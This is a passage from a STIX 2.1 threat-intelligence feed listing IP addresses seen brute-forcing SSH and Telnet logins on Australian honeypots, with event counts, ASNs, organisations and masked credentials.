      "valid_from": "2026-04-05T02:15:10.000Z",
      "valid_until": "2026-05-07T02:15:08.000Z"
    },
    {
      "created": "2026-04-05T03:15:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, m**t. Passwords observed (masked): 1******s, 3***********4, 3**********4, T******4, t**t.",
      "id": "indicator--1b7e141c-fb8c-47c4-b8a8-dabe36a8f985",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '119.28.32.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T03:15:26.000Z",
      "valid_until": "2026-05-07T03:15:08.000Z"
    },
    {
      "created": "2026-04-05T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--989ae3c7-b499-414a-80c4-eebc63daf0c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.209.127.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T03:15:26.000Z",
      "valid_until": "2026-05-07T03:15:08.000Z"
    },
    {
      "created": "2026-04-05T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--bf7b9e5a-3d78-4ae1-abe8-2f483a5c9ea1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.48.130.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T03:15:26.000Z",
      "valid_until": "2026-05-07T03:15:08.000Z"
    },
    {
      "created": "2026-04-05T03:15:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262826. Organisation(s): PW INFORMATICA E TECNOLOGIA LTDA. Usernames observed (masked): m**t. Passwords observed (masked): t**t.",
      "id": "indicator--34920249-b882-436d-98f9-836cfa33240d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.251.71.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T03:15:26.000Z",
      "valid_until": "2026-05-07T03:15:08.000Z"
    },
    {
      "created": "2026-04-05T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--e24618db-138d-4517-ac36-d76388fe8c26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '221.162.135.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T03:15:26.000Z",
      "valid_until": "2026-05-07T03:15:08.000Z"
    },
    {
      "created": "2026-04-05T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--61c5c136-fc3b-4dd9-ae18-684fab0f1d2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.253.5.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T03:15:26.000Z",
      "valid_until": "2026-05-07T03:15:08.000Z"
    },
    {
      "created": "2026-04-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--8b7e1003-0eeb-4c37-b4c2-b26e5c30962a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.10.176.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T04:15:10.000Z",
      "valid_until": "2026-05-07T04:15:08.000Z"
    },
    {
      "created": "2026-04-05T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--f975d894-b4b5-4755-a45d-ed700c6b4a5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.168.29.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T04:15:10.000Z",
      "valid_until": "2026-05-07T04:15:08.000Z"
    },
    {
      "created": "2026-04-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 6147. Organisation(s): INTEGRATEL PERU S.A.A..",
      "id": "indicator--e859a398-f4fd-43d9-85b6-db6cddc768d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '170.79.37.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T04:15:10.000Z",
      "valid_until": "2026-05-07T04:15:08.000Z"
    },
    {
      "created": "2026-04-05T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--561a7ccd-d1b6-42e9-a277-3c49596a02b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T04:15:10.000Z",
      "valid_until": "2026-05-07T04:15:08.000Z"
    },
    {
      "created": "2026-04-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, a****h, 3**********4, g****b, m******d. Passwords observed (masked): **, 3***********4, 3**********4, A*********a, O********4.",
      "id": "indicator--07437c83-337d-4451-be60-4475fed17935",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.145.34.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T04:15:10.000Z",
      "valid_until": "2026-05-07T04:15:08.000Z"
    },
    {
      "created": "2026-04-05T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--455cbc69-f464-4d50-b1c9-ca77ee36bdf6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '83.224.173.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T04:15:10.000Z",
      "valid_until": "2026-05-07T04:15:08.000Z"
    },
    {
      "created": "2026-04-05T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--71fad5e5-a034-43bd-b648-1a22bd97f384",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T05:15:13.000Z",
      "valid_until": "2026-05-07T05:15:08.000Z"
    },
    {
      "created": "2026-04-05T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 244. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 19429. Organisation(s): Colombia. Usernames observed (masked): r**t, 3**********4, n*****t, t**t, u****u. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1*****7, 1**********f.",
      "id": "indicator--7c5ea43f-0af2-474a-8bfb-c7bd4fc9a363",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.31.95.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T05:15:13.000Z",
      "valid_until": "2026-05-07T05:15:08.000Z"
    },
    {
      "created": "2026-04-05T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--87910225-e211-43d6-8e0f-36badf0a456e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '3.143.162.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T05:15:13.000Z",
      "valid_until": "2026-05-07T05:15:08.000Z"
    },
    {
      "created": "2026-04-05T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--712d6d99-7dbc-4f5d-8d0e-02e1c68cc9a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.203.210.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T05:15:13.000Z",
      "valid_until": "2026-05-07T05:15:08.000Z"
    },
    {
      "created": "2026-04-05T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--7da166b4-c0d5-4db4-9659-384010cf2696",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.163.15.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T06:15:07.000Z",
      "valid_until": "2026-05-07T06:15:03.000Z"
    },
    {
      "created": "2026-04-05T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--51da8cc0-1d27-4983-aa69-f8c4b9586f81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.177.172.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T07:15:11.000Z",
      "valid_until": "2026-05-07T07:15:08.000Z"
    },
    {
      "created": "2026-04-05T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--d244f46d-335a-4315-81af-894782fb3d95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T07:15:11.000Z",
      "valid_until": "2026-05-07T07:15:08.000Z"
    },
    {
      "created": "2026-04-05T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11580. Organisation(s): Island Networks Ltd.",
      "id": "indicator--edcaf9a6-95cc-47ac-ad51-6362b14d1cf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.164.207.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T07:15:11.000Z",
      "valid_until": "2026-05-07T07:15:08.000Z"
    },
    {
      "created": "2026-04-05T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--c6bb9c91-1e2c-4e4c-b02e-a64d9f2a094d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.239.25.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T07:15:11.000Z",
      "valid_until": "2026-05-07T07:15:08.000Z"
    },
    {
      "created": "2026-04-05T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--8c74eba4-8371-42d2-a1cc-892396c1171a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.100.241.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T07:15:11.000Z",
      "valid_until": "2026-05-07T07:15:08.000Z"
    },
    {
      "created": "2026-04-05T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--dfd700d3-b3c0-4efa-a1e2-2da9f4d65a78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.18.14.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T08:15:10.000Z",
      "valid_until": "2026-05-07T08:15:08.000Z"
    },
    {
      "created": "2026-04-05T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 59. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): p*****k, 3**********4, ***, t*******k, ***. Passwords observed (masked): *, 3***********4, 3**********4, p********3, t*********8.",
      "id": "indicator--6ba54380-6904-4bcd-84db-af7eaebb1870",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '128.1.38.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T08:15:10.000Z",
      "valid_until": "2026-05-07T08:15:08.000Z"
    },
    {
      "created": "2026-04-05T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 204548. Organisation(s): Kamatera Inc. Usernames observed (masked): r**t, 3**********4, e***a, t******t. Passwords observed (masked): 3***********4, 3**********4, a******4, e***a, q****************3.",
      "id": "indicator--4e95e6ef-b794-4afb-8101-044ad3ed617c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.227.111.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T08:15:10.000Z",
      "valid_until": "2026-05-07T08:15:08.000Z"
    },
    {
      "created": "2026-04-05T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda. Usernames observed (masked): r**t, t**t, 3**********4, a***k, f**d. Passwords observed (masked): 3***********4, 3**********4, A********@, Q********4, S*****4.",
      "id": "indicator--07e0abd6-4a2d-4f49-861d-ef2160146673",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '200.46.125.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T08:15:10.000Z",
      "valid_until": "2026-05-07T08:15:08.000Z"
    },
    {
      "created": "2026-04-05T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): A**********3, A********1, Q**********!.",
      "id": "indicator--32ef8a56-ff5c-4aeb-96c1-dd76cbd85a35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.155.40.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T08:15:10.000Z",
      "valid_until": "2026-05-07T08:15:08.000Z"
    },
    {
      "created": "2026-04-05T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): o****7, r**t, u**r. Passwords observed (masked): 1*******9, 3******Z, U****2.",
      "id": "indicator--de6ad289-ac44-40e5-a9b1-3bbb5e275f20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.213.210.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T08:15:10.000Z",
      "valid_until": "2026-05-07T08:15:08.000Z"
    },
    {
      "created": "2026-04-05T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KZ. ASN(s): 9198. Organisation(s): JSC Kazakhtelecom. Usernames observed (masked): r**t, 3**********4, m****r, t**t, u**r. Passwords observed (masked): 1******y, 1********F, 3***********4, 3**********4, Q***********3.",
      "id": "indicator--885c3b29-606d-4679-9f3e-a98af4aed531",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.58.255.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T08:15:10.000Z",
      "valid_until": "2026-05-07T08:15:08.000Z"
    },
    {
      "created": "2026-04-05T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1*******#, 8****@, r*******#.",
      "id": "indicator--08c63449-00bd-49d1-a9dc-c823fac365ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.48.111.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T09:15:05.000Z",
      "valid_until": "2026-05-07T09:15:03.000Z"
    },
    {
      "created": "2026-04-05T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--fd74e21b-272b-4e78-b6a6-796f56c82fa3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '163.179.18.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T09:15:05.000Z",
      "valid_until": "2026-05-07T09:15:03.000Z"
    },
    {
      "created": "2026-04-05T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 266702. Organisation(s): MEGALINK S.R.L..",
      "id": "indicator--1c59f0d9-be81-4e27-bd1b-375c41feae11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.196.250.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T09:15:05.000Z",
      "valid_until": "2026-05-07T09:15:03.000Z"
    },
    {
      "created": "2026-04-05T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c0fd4250-2eba-4251-81c3-e9931f08d9a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.163.15.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T09:15:05.000Z",
      "valid_until": "2026-05-07T09:15:03.000Z"
    },
    {
      "created": "2026-04-05T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4, m*************r, r****r, s***y. Passwords observed (masked): 1***********Y, 1**********C, 3***********4, 3**********4, 3****$.",
      "id": "indicator--cdbed786-7538-4640-b6ab-a80cf0e672b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.135.200.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T09:15:05.000Z",
      "valid_until": "2026-05-07T09:15:03.000Z"
    },
    {
      "created": "2026-04-05T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n, r**t, u**t. Passwords observed (masked): k*******************S, u**t.",
      "id": "indicator--9ef0c206-0c11-4aec-9a57-346c3a722951",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.86.213.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
